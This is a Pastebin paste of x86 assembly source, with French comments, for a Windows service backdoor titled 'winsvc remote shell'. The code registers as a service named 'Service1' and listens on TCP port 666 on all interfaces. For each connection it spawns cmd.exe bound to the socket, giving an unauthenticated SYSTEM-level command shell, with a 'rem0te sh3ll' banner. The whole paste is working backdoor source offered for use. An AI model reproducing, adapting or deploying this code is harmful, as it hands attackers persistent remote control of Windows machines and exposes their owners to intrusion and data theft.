Advertisement
aaSSfxxx

winsvc remote shell

Jul 27th, 2012
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.53 KB | None | 0 0
  1. ; Codé par aaSSfxxx ;
  2.  
  3.  
  4. ;imports de kernel32
  5.  
  6. extern CreateProcessA
  7. import CreateProcessA kernel32.dll
  8. extern ExitProcess
  9. import ExitProcess kernel32.dll
  10. extern CreateThread
  11. import CreateThread kernel32.dll
  12.  
  13. extern WaitForSingleObject
  14. import WaitForSingleObject kernel32.dll
  15.  
  16. ;imports de advapi32
  17. extern CreateProcessAsUserA
  18. import CreateProcessAsUserA advapi32.dll
  19. extern StartServiceCtrlDispatcherA
  20. import StartServiceCtrlDispatcherA advapi32.dll
  21. extern RegisterServiceCtrlHandlerA
  22. import RegisterServiceCtrlHandlerA advapi32.dll
  23. extern SetServiceStatus
  24. import SetServiceStatus advapi32.dll
  25.  
  26. ;imports de ws2_32
  27. extern WSAStartup
  28. import WSAStartup ws2_32.dll
  29. extern WSASocketA
  30. import WSASocketA ws2_32.dll
  31. extern accept
  32. import accept ws2_32.dll
  33. extern bind
  34. import bind ws2_32.dll
  35. extern listen
  36. import listen ws2_32.dll
  37. extern send
  38. import send ws2_32.dll
  39. extern recv
  40. import recv ws2_32.dll
  41. extern closesocket
  42. import closesocket ws2_32.dll
  43.  
  44.  
  45. %define MAX_PATH 32
  46.  
  47. section data use32
  48.  
  49. ; Déclaration de constantes
  50. %define SERVICE_WIN32_OWN_PROCESS 0x00000010
  51. %define SERVICE_ACCEPT_STOP 0x00000001
  52. %define SERVICE_RUNNING 0x00000004
  53. %define SERVICE_STOPPED 0x00000001
  54.  
  55. %define AF_INET 2
  56. %define IP_PROTO_TCP 6
  57. %define SOCK_STREAM 1
  58. %define szInfo error + 4 - common_startupInfo
  59.  
  60. ; Quelques variables globales
  61. svcName db "Service1" ; Nom du service
  62.  
  63. svcTableEntry: ; SERVICE_TABLE_ENTRY appelé par le CtrlDispatcher
  64. dd svcName
  65. dd ServiceMain
  66. dd 0
  67. dd 0
  68.  
  69. svcStatus: ; Notre structure qui contiendra le statut du service (préremplie pour gagner quelques octets)
  70. dd SERVICE_WIN32_OWN_PROCESS
  71. dd SERVICE_RUNNING
  72. dd SERVICE_ACCEPT_STOP
  73. dd 0
  74. dd 0
  75. dd 0
  76. dd 0
  77.  
  78. svcStatusHandle: ; Notre handle pour changer le statut du service
  79. dd 0
  80.  
  81. serverSin: ; Structure IN_ADDR
  82. dw AF_INET
  83. db 0x02,0x9A
  84. dd 0 ;IPADDR_ANY
  85. dw 0
  86. dd 0
  87. dw 0
  88. ;fin de la structure
  89.  
  90. welcome_banner: db "**********************",0x0a,0x0d
  91. db "* rem0te sh3ll *",0x0a,0x0d
  92. db "* par aaSSfxxx *",0x0a,0x0d
  93. db "**********************",0x0a,0x0d
  94. end_banner
  95.  
  96. exe_name db "cmd.exe",0 ; L'exécutable à lancer par CreateProcess
  97.  
  98. common_startupInfo: ;Structure STARTUPINFO
  99. dd szInfo ;cb
  100. dd 0 ;lpDesktop
  101. dd 0 ;lpTitle
  102. dd 0 ;lpPeserved
  103. dd 0 ;dwX
  104. dd 0 ;dwY
  105. dd 0 ;dwXSize
  106. dd 0 ;dwYSize
  107. dd 0 ;dwXCounrChars
  108. dd 0 ;dwYCountChars
  109. dd 0 ;dwFillAttributes
  110. dd 0x100 ;dwFlags
  111. dw 0 ;wShowWindow
  112. dw 0 ;wReservedByte2
  113. dd 0 ;lpReservedByte
  114. input:
  115. dd 0 ;hStdInput
  116. output:
  117. dd 0 ;hStdOutput
  118. error:
  119. dd 0 ;hStdError
  120. wsaData resd 1024
  121.  
  122. ;Section de code
  123. section text use32
  124.  
  125.  
  126. global main
  127. global ServiceMain
  128. global ServiceCtrlHandle
  129. global ClientThread
  130.  
  131.  
  132. ; Point d'entrée du programme/service
  133.  
  134. main:
  135. ; Lance la fonction d'enregistement de socket
  136. push wsaData
  137. push 0x00000202
  138. call [WSAStartup]
  139.  
  140. ; On dit au SCM qu'il y a des services à exécuter dans cet exécutable
  141. push svcTableEntry
  142. call [StartServiceCtrlDispatcherA]
  143.  
  144. ret 16
  145.  
  146. ;Point d'entrée du service, appelé par SCM après avoir exécuté StartServiceCtrlDispatcher
  147. ServiceMain:
  148. push ebp
  149. mov ebp,esp
  150.  
  151. ;On enregistre le CtrlHandler (fonction que le SCM va appeler dès qu'il veut modifier l'état du service)
  152. push ServiceCtrlHandle
  153. push svcName
  154. call [RegisterServiceCtrlHandlerA]
  155.  
  156. ;On dit au SCM que le service est démarré
  157. push svcStatus
  158. push eax
  159. call [SetServiceStatus]
  160.  
  161. ;On crée notre socket
  162. push 0
  163. push 0
  164. push 0
  165. push IP_PROTO_TCP
  166. push SOCK_STREAM
  167. push AF_INET
  168. call [WSASocketA]
  169. cmp eax,0
  170. je kill_me
  171.  
  172. ;On l'attache au port
  173. mov ebx, eax
  174. push 0x10
  175. push serverSin
  176. push ebx
  177. call [bind]
  178. add esp,0x0c
  179. cmp eax,-1
  180. je kill_me
  181.  
  182. ;On écoute
  183. push 5
  184. push ebx
  185. call [listen]
  186. add esp,0x08
  187. cmp eax,-1
  188. je kill_me
  189.  
  190. ;Boucle principale d'écoute
  191. loop:
  192. ;On attend la connexion du client
  193. push 0
  194. push 0
  195. push ebx
  196. call [accept]
  197. add esp,0x0c ; nettoyage de la pile
  198. cmp eax,0
  199. je kill_me
  200.  
  201. ;Lancement du thread de réception
  202. push 0
  203. push 0
  204. push eax
  205. push ClientThread
  206. push 0
  207. push 0
  208. call [CreateThread]
  209.  
  210. jmp loop
  211.  
  212. ;Error handler très rudimentaire: on se suicide en cas d'erreur
  213. kill_me:
  214. call [ExitProcess]
  215. leave
  216. ret 8
  217.  
  218. ;Fonction thread client
  219. ClientThread:
  220. push ebp
  221. mov ebp,esp
  222. sub esp,0x10
  223.  
  224. ;On met le handle socket dans ecx
  225. mov ecx,[ebp+0x08]
  226.  
  227. ;On change ce qui doit changer dans notre structure STARTUPINFO (merci ivanlef0u pour l'astuce du handle socket)
  228. mov dword [input],ecx
  229. mov dword [output],ecx
  230. mov dword [error],ecx
  231.  
  232. ;On affiche la bannière d'accueil
  233. push 0
  234. push end_banner-welcome_banner
  235. push welcome_banner
  236. push ecx
  237. call [send]
  238. add esp, 0x10
  239.  
  240. ;On va se créer un shell r00t (compte SYSTEM)
  241. mov ecx,ebp
  242. sub ecx,0x10
  243. push ecx
  244. push common_startupInfo
  245. push 0
  246. push 0
  247. push 0
  248. push 1 ; sinon ça fonctionne pas (les handles socket ne sont pas hérités)
  249. push 0
  250. push 0
  251. push exe_name
  252. push 0
  253. call [CreateProcessA]
  254.  
  255. ;On attend que le shell soit quitté avant de fermer.
  256. push 0
  257. push ecx
  258. call [WaitForSingleObject]
  259.  
  260. push dword[ebp+8]
  261. call [closesocket]
  262. leave
  263. ret 0x04
  264.  
  265. ;Control handler du service (ne fait rien du tout)
  266. ServiceCtrlHandle:
  267. ret
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement